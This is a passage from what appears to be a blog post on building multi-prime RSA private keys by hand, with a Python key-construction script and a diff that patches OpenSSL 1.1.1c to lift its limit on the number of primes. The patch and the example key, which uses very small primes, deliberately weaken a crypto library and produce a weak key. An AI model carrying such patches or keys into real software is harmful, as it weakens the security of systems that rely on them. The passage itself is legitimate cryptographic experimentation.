class="pgcssn"&gt;gmpy2&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;gcd&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;phi&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;!=&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">63</td><td> <code> &lt;span class="pgcssk"&gt;raise&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAError&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;e and phi(n) are not coprime&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">64</td><td> </td></tr><tr><td class="linenos">65</td><td> <code> &lt;span class="pgcssc1"&gt;# compute private exponent&lt;/span&gt;</code> </td></tr><tr><td class="linenos">66</td><td> <code> &lt;span class="pgcssn"&gt;d&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;gmpy2&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;invert&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;phi&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">67</td><td> </td></tr><tr><td class="linenos">68</td><td> <code> &lt;span class="pgcssn"&gt;exponents&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;d&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;primes_minus_one&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">69</td><td> </td></tr><tr><td class="linenos">70</td><td> <code> &lt;span class="pgcssn"&gt;coefficients&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsskc"&gt;None&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">71</td><td> <code> &lt;span class="pgcssc1"&gt;# inv q mod p&lt;/span&gt;</code> </td></tr><tr><td class="linenos">72</td><td> <code> &lt;span class="pgcssn"&gt;coefficients&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;gmpy2&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;invert&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">73</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">74</td><td> <code> &lt;span class="pgcssc1"&gt;# inv product(r[1] ... r[i-1]) mod r[i]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">75</td><td> <code> &lt;span class="pgcssn"&gt;coefficients&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;gmpy2&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;invert&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;product&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]),&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">76</td><td> </td></tr><tr><td class="linenos">77</td><td> <code> &lt;span class="pgcssc1"&gt;# base set of rsa private key values&lt;/span&gt;</code> </td></tr><tr><td class="linenos">78</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;modulus&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;</code> </td></tr><tr><td class="linenos">79</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;publicExponent&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;</code> </td></tr><tr><td class="linenos">80</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;privateExponent&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;d&lt;/span&gt;</code> </td></tr><tr><td class="linenos">81</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;prime1&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">82</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;prime2&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">83</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;exponent1&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;exponents&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">84</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;exponent2&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;exponents&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">85</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;coefficient&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;coefficients&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">86</td><td> </td></tr><tr><td class="linenos">87</td><td> <code> &lt;span class="pgcssc1"&gt;# add values for additional primes if needed&lt;/span&gt;</code> </td></tr><tr><td class="linenos">88</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">89</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;version&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;</code> </td></tr><tr><td class="linenos">90</td><td> <code> &lt;span class="pgcssn"&gt;otherPrimeInfos&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;OtherPrimeInfos&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">91</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">92</td><td> <code> &lt;span class="pgcssn"&gt;info&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;OtherPrimeInfo&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">93</td><td> <code> &lt;span class="pgcssn"&gt;info&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;prime&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">94</td><td> <code> &lt;span class="pgcssn"&gt;info&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;exponent&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;exponents&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">95</td><td> <code> &lt;span class="pgcssn"&gt;info&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;coefficient&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;coefficients&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">96</td><td> <code> &lt;span class="pgcssn"&gt;otherPrimeInfos&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;setComponentByPosition&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;info&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">97</td><td> </td></tr><tr><td class="linenos">98</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;otherPrimeInfos&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;otherPrimeInfos&lt;/span&gt;</code> </td></tr><tr><td class="linenos">99</td><td> <code> &lt;span class="pgcssk"&gt;else&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">100</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;version&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;</code> </td></tr><tr><td class="linenos">101</td><td> </td></tr><tr><td class="linenos">102</td><td> <code> &lt;span class="pgcssnd"&gt;@property&lt;/span&gt;</code> </td></tr><tr><td class="linenos">103</td><td> <code> &lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;der&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">104</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;der_encode&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">105</td><td> </td></tr><tr><td class="linenos">106</td><td> <code> &lt;span class="pgcssnd"&gt;@property&lt;/span&gt;</code> </td></tr><tr><td class="linenos">107</td><td> <code> &lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;pem&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">108</td><td> <code> &lt;span class="pgcssn"&gt;b64&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;base64&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;b64encode&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;der&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;decode&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">109</td><td> <code> &lt;span class="pgcssn"&gt;b64&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;join&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">110</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;-----BEGIN &lt;/span&gt;&lt;span class="pgcsssi"&gt;{text}&lt;/span&gt;&lt;span class="pgcsss1"&gt;-----&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsssi"&gt;{b64}&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsss1"&gt;-----END &lt;/span&gt;&lt;span class="pgcsssi"&gt;{text}&lt;/span&gt;&lt;span class="pgcsss1"&gt;-----&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;</code> </td></tr><tr><td class="linenos">111</td><td> <code> &lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;b64&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td class="linenos">112</td><td> <code> &lt;span class="pgcssn"&gt;text&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;RSA PRIVATE KEY&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">113</td><td> <code> &lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">114</td><td> </td></tr><tr><td class="linenos">115</td><td> <code>&lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssvm"&gt;__name__&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">116</td><td> <code> &lt;span class="pgcssn"&gt;e&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">117</td><td> <code> &lt;span class="pgcssn"&gt;primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;list&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;:]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">118</td><td> <code> &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stdout&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;write&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;RSAPrivateKey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;pem&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>With that out of the way, I generated a key and tried to use it with OpenSSL. It did not work.</p> <pre class="code breakall literal-block"> $ ./mprsa.py 16209469334791745752099089153245209595938905391366915442843655311870250775988478962443242925129138403268309023495340941270951066230818482657126058912138893504120575530462325274587 223 373 505511 62264393819 692091200694401 48054446430444121028200972020533400162078125396018622197185481602069377646593949231788063528654342806608883936083928621453549454859416361204853853702948393735291252921874962603428963373263708172690458493327748172536543917708281204835129658881247320770314746942732710565970028734766695760731222427123603048615247949771446031873465256836264652436820606092660156412961641977084159217469138549478995858415013921 &gt; multi.key $ openssl req -new -batch -key multi.key -out multi.csr -subj '/CN=test' 139698227354952:error:0D0DC006:asn1 encoding routines:ASN1_item_sign_ctx:EVP lib:crypto/asn1/a_sign.c:224: </pre> <p>This somewhat confusing error message seems to be the result of some hard coded limits in OpenSSL. It won&rsquo;t work with keys having more than five primes at all, and has further restrictions in some cases depending on key size. Fortunately, it was trivial to patch these limits out.</p> <div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa_%2Fattach%2Fopenssl-manyprime.diff" id="openssl-manyprime-diff">openssl-manyprime.diff</a></caption><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcssgd"&gt;--- openssl-1.1.1c.orig/crypto/rsa/rsa_locl.h&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> <code>&lt;span class="pgcssgi"&gt;+++ openssl-1.1.1c/crypto/rsa/rsa_locl.h&lt;/span&gt;</code> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcssgu"&gt;@@ -10,7 +10,7 @@&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;#include &amp;lt;openssl/rsa.h&amp;gt;</code> </td></tr><tr><td class="linenos">5</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;#include &amp;quot;internal/refcount.h&amp;quot;</code> </td></tr><tr><td class="linenos">6</td><td> </td></tr><tr><td class="linenos">7</td><td> <code>&lt;span class="pgcssgd"&gt;-#define RSA_MAX_PRIME_NUM 5&lt;/span&gt;</code> </td></tr><tr><td class="linenos">8</td><td> <code>&lt;span class="pgcssgi"&gt;+#define RSA_MAX_PRIME_NUM 64&lt;/span&gt;</code> </td></tr><tr><td class="linenos">9</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;#define RSA_MIN_MODULUS_BITS 512</code> </td></tr><tr><td class="linenos">10</td><td> </td></tr><tr><td class="linenos">11</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;typedef struct rsa_prime_info_st {</code> </td></tr><tr><td class="linenos">12</td><td> <code>&lt;span class="pgcssgd"&gt;--- openssl-1.1.1c.orig/crypto/rsa/rsa_mp.c&lt;/span&gt;</code> </td></tr><tr><td class="linenos">13</td><td> <code>&lt;span class="pgcssgi"&gt;+++ openssl-1.1.1c/crypto/rsa/rsa_mp.c&lt;/span&gt;</code> </td></tr><tr><td class="linenos">14</td><td> <code>&lt;span class="pgcssgu"&gt;@@ -111,5 +111,5 @@ int rsa_multip_cap(int bits)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">15</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt; if (cap &amp;gt; RSA_MAX_PRIME_NUM)</code> </td></tr><tr><td class="linenos">16</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt; cap = RSA_MAX_PRIME_NUM;</code> </td></tr><tr><td class="linenos">17</td><td> </td></tr><tr><td class="linenos">18</td><td> <code>&lt;span class="pgcssgd"&gt;- return cap;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">19</td><td> <code>&lt;span class="pgcssgi"&gt;+ return RSA_MAX_PRIME_NUM;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">20</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;}</code> </td></tr></tbody></table></div> <p>After installing a patched OpenSSL package, I tried again.</p> <pre class="code literal-block"> $ openssl req -new -batch -key multi.key -out multi.csr -subj 